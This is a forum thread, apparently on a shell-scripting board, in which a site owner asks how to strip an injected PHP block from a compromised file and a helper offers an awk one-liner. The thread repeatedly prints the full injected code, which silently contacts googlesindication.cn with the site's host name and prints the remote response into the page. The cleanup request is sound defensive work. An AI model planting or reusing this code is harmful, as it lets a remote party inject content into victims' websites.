remove malicious codes from a file

Shell Programming and Scripting
1

Hello,

Please advise a script/command to remove the following line for a file

<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER['HTTP_HOST'];
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
$out .= "Host: googlesindication.cn\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$var .= fgets($fp, 128);
}
list($headers, $content) = explode("\r\n\r\n", $var);
print $content;
fclose($fp);
}
?>

Thanks

2 
awk '/<\?php/,/\?>/{next}1' file
3

Take this example:

test.php file
##########
<?php
phpinfo();
?>
<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER['HTTP_HOST'];
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
$out .= "Host: googlesindication.cn\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$var .= fgets($fp, 128);
}
list($headers, $content) = explode("\r\n\r\n", $var);
print $content;
fclose($fp);
}
?>

[root@server #] awk '/<\?php/,/\?>/{next}1' test.php
[root@server #]
[root@server #]

I only want to clear malicious code, but it wipes out all.

Please advise.

Thanks

4

then define what you mean by malicious code. For the suggestion i posted, it assumes anything between php tags.

5

The following is ok :

<?php
phpinfo();
?>

While the entire following is malicious:

<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER['HTTP_HOST'];
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
$out .= "Host: googlesindication.cn\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$var .= fgets($fp, 128);
}
list($headers, $content) = explode("\r\n\r\n", $var);
print $content;
fclose($fp);
}
?>

Thanks

6

cat test.php file
##########
<?php
phpinfo();
?>
<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER['HTTP_HOST'];
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
$out .= "Host: googlesindication.cn\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$var .= fgets($fp, 128);
}
list($headers, $content) = explode("\r\n\r\n", $var);
print $content;
fclose($fp);
}
?>

In the above file I want to remove:

<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER['HTTP_HOST'];
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
$out .= "Host: googlesindication.cn\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$var .= fgets($fp, 128);
}
list($headers, $content) = explode("\r\n\r\n", $var);
print $content;
fclose($fp);
}
?>

So after removing the above part the resultant file looks like:

cat test.php file
##########
<?php
phpinfo();
?>

Can you please advise a script that will search or grep

$fn = "googlesindication.cn";

and then remove the entire php paragraph that it is enclosed with : starting
<?php
and ending
?>

Thanks